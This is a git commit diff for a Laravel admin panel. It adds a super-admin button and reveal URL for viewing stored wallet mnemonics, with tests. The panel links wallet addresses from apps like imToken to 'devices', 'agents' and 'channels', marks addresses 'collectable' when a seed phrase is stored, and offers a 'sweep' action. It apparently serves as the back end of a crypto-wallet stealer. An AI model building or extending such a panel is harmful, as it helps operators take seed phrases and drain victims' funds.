feat: mem
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
@@ -17,6 +18,7 @@ use Illuminate\Validation\Rule;
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -42,6 +44,9 @@ class WalletAddressController extends Controller
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
'chainTypes' => $chainTypes,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -65,9 +70,11 @@ class WalletAddressController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||
/** @var WalletAddress $row */
|
||||
$coins = $row->formattedCoins();
|
||||
$mnemonicId = $row->mnemonic_id;
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
@@ -76,7 +83,11 @@ class WalletAddressController extends Controller
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'collectable' => $row->mnemonic_id !== null,
|
||||
'collectable' => $mnemonicId !== null,
|
||||
'mnemonic_id' => $mnemonicId,
|
||||
'reveal_url' => ($canReveal && $mnemonicId !== null)
|
||||
? $this->mnemonicRevealUrl($mnemonicId)
|
||||
: '',
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
|
||||
@@ -139,6 +139,9 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-addr-list" lay-filter="LAY-addr-list"></table>
|
||||
<script type="text/html" id="LAY-addr-ops">
|
||||
@if(!empty($can_reveal))
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看助记词</a>
|
||||
@endif
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="sweep">归集</a>
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
@@ -148,6 +151,7 @@
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
@include('admin.partials.mnemonic_reveal')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
@@ -156,6 +160,12 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
token: token,
|
||||
google_bound: @json(!empty($google_bound)),
|
||||
security_url: @json($google2fa_url ?? '')
|
||||
});
|
||||
|
||||
function chainTag(chain) {
|
||||
var raw = String(chain || 'UNKNOWN');
|
||||
var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, '');
|
||||
@@ -326,7 +336,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
? '<span class="addr-monitor-on">开</span>'
|
||||
: '<span class="addr-monitor-off">关</span>';
|
||||
}},
|
||||
{ title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
|
||||
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }}
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
@@ -350,6 +360,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
|
||||
table.on('tool(LAY-addr-list)', function (obj) {
|
||||
var d = obj.data;
|
||||
if (obj.event === 'reveal') {
|
||||
revealMnemonic(d);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'detail') {
|
||||
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
|
||||
return;
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
@@ -386,6 +387,108 @@ class MnemonicRevealTest extends TestCase
|
||||
return $secret;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function address_list_super_sees_reveal_url_for_collectible(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
$device = Device::query()->whereKey($mnemonic->device_id)->first();
|
||||
// Create unlinked first so linked (higher id) sorts as data.0 (default desc).
|
||||
$unlinked = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'addr-unlinked',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'ETH',
|
||||
]);
|
||||
$linked = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'addr-linked',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'ETH',
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.addresses.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2)
|
||||
->assertJsonPath('data.0.address', 'addr-linked')
|
||||
->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic))
|
||||
->assertJsonPath('data.0.collectable', true)
|
||||
->assertJsonPath('data.0.mnemonic_id', $mnemonic->id)
|
||||
->assertJsonPath('data.1.address', 'addr-unlinked')
|
||||
->assertJsonPath('data.1.reveal_url', '')
|
||||
->assertJsonPath('data.1.collectable', false);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function address_list_normal_admin_has_no_reveal_url(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
$mnemonic = $this->storeMnemonic();
|
||||
$device = Device::query()->whereKey($mnemonic->device_id)->first();
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'addr-linked',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'ETH',
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.addresses.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.reveal_url', '')
|
||||
->assertJsonPath('data.0.collectable', true);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function address_index_view_has_reveal_button_for_super(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
|
||||
$resp = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.addresses.index'))
|
||||
->assertOk();
|
||||
|
||||
$html = $resp->getContent();
|
||||
$this->assertStringContainsString('查看助记词', $html);
|
||||
$this->assertStringContainsString('lay-event="reveal"', $html);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function address_index_view_has_no_reveal_button_for_normal_admin(): void
|
||||
{
|
||||
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
|
||||
$admin = Admin::query()->create([
|
||||
'username' => 'staff',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 0,
|
||||
]);
|
||||
|
||||
$resp = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.addresses.index'))
|
||||
->assertOk();
|
||||
|
||||
$html = $resp->getContent();
|
||||
$this->assertStringNotContainsString('lay-event="reveal"', $html);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function bind_can_skip_login_verify(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user